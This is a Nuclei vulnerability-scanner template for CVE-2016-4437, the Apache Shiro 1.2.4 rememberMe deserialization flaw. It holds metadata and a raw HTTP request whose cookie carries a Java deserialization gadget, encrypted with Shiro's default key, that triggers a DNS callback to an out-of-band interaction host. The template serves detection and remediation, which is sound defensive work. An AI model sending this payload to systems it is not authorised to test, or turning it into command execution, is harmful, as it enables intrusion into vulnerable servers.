nuclei-templates/http/cves/2016/CVE-2016-4437.yaml

46 lines
2.0 KiB
YAML

id: CVE-2016-4437
info:
name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
impact: |
Remote code execution
remediation: |
Upgrade to a patched version of Apache Shiro
reference:
- https://github.com/Medicean/VulApps/tree/master/s/shiro/1
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
- http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
- http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
- http://rhn.redhat.com/errata/RHSA-2016-2035.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2016-4437
cwe-id: CWE-284
epss-score: 0.97507
epss-percentile: 0.99981
cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: shiro
tags: cve2016,cve,apache,rce,kev,packetstorm,shiro,deserialization,oast
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}
matchers:
- type: word
part: interactsh_protocol
words:
- dns
# digest: 4b0a00483046022100fb046cc08189c3a3e20f44ffc1f443e657b070eae65463098ac3eb10d32969300221009acd50c19a5ec2239925b1ff303224e37e8b277b8b11b7f92b84141650cd97f8:922c64590222798bb761d5b6d8e72950